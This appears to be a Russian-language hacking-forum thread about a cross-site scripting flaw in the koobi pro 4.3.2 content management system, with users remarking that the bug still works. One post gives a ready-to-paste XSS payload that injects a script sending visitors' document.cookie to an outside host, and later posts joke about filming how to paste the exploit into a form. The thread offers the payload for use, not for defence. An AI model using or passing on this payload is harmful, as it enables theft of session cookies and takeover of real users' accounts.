Межсайтовый скриптинг в koobi pro 4.3.2

[KLez]

Найденный уязвимость позволяет удаленныму пользователю своровать cookie пользователей.
Подробно читаем тут (http://csteam.ru/new7.html)
PS. Бага пока реально пашет . КЕЗ если есть возможность сними видео =))) Я не стал т.к потом наехали бы на мой проект ...

[Mastermind]

XSS:
"><script>i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;</script>

P.S. Только один вопрос: такой подход сработает во всех браузерах?

[m0nzt3r]

а может я сниму видео? можно Клез?)

[GreenBear]

да какое там видео... как в форму сплойт копировать...

[k00p3r]

И вправду какое там ещё видео делать.....

[DRON-ANARCHY]

И вправду какое там ещё видео делать.....Как какое? про то, какв форму сплойт копировать...
=)

[m0nzt3r]

как хотите)) а действительно чего сниматть то..

[PinkPanther]

Да Вы заИПали флеймить уже. Всех в бан )))